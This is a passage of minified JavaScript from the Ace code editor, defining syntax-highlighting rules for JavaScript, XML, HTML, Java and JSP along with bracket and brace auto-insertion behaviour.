eEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/java_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"abstract|continue|for|new|switch|assert|default|goto|package|synchronized|boolean|do|if|private|this|break|double|implements|protected|throw|byte|else|import|public|throws|case|enum|instanceof|return|transient|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|strictfp|volatile|const|float|native|super|while\",t=\"null|Infinity|NaN|undefined\",n=\"AbstractMethodError|AssertionError|ClassCircularityError|ClassFormatError|Deprecated|EnumConstantNotPresentException|ExceptionInInitializerError|IllegalAccessError|IllegalThreadStateException|InstantiationError|InternalError|NegativeArraySizeException|NoSuchFieldError|Override|Process|ProcessBuilder|SecurityManager|StringIndexOutOfBoundsException|SuppressWarnings|TypeNotPresentException|UnknownError|UnsatisfiedLinkError|UnsupportedClassVersionError|VerifyError|InstantiationException|IndexOutOfBoundsException|ArrayIndexOutOfBoundsException|CloneNotSupportedException|NoSuchFieldException|IllegalArgumentException|NumberFormatException|SecurityException|Void|InheritableThreadLocal|IllegalStateException|InterruptedException|NoSuchMethodException|IllegalAccessException|UnsupportedOperationException|Enum|StrictMath|Package|Compiler|Readable|Runtime|StringBuilder|Math|IncompatibleClassChangeError|NoSuchMethodError|ThreadLocal|RuntimePermission|ArithmeticException|NullPointerException|Long|Integer|Short|Byte|Double|Number|Float|Character|Boolean|StackTraceElement|Appendable|StringBuffer|Iterable|ThreadGroup|Runnable|Thread|IllegalMonitorStateException|StackOverflowError|OutOfMemoryError|VirtualMachineError|ArrayStoreException|ClassCastException|LinkageError|NoClassDefFoundError|ClassNotFoundException|RuntimeException|Exception|ThreadDeath|Error|Throwable|System|ClassLoader|Cloneable|Class|CharSequence|Comparable|String|Object\",r=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"constant.language\":t,\"support.function\":n},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.JavaHighlightRules=o}),define(\"ace/mode/jsp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/java_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./java_highlight_rules\").JavaHighlightRules,o=function(){i.call(this);var e=\"request|response|out|session|application|config|pageContext|page|Exception\",t=\"page|include|taglib\",n=[{token:\"comment\",regex:\"<%--\",push:\"jsp-dcomment\"},{token:\"meta.tag\",regex:\"<%@?|<%=?|<%!?|<jsp:[^>]+>\",push:\"jsp-start\"}],r=[{token:\"meta.tag\",regex:\"%>|<\\\\/jsp:[^>]+>\",next:\"pop\"},{token:\"variable.language\",regex:e},{token:\"keyword\",regex:t}];for(var o in this.$rules)this.$rules[o].unshift.apply(this.$rules[o],n);this.embedRules(s,\"jsp-\",r,[\"start\"]),this.addRules({\"jsp-dcomment\":[{token:\"comment\",regex:\".*?--%>\",next:\"pop\"}]}),this.normalizeRules()};r.inherits(o,i),t.JspHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var 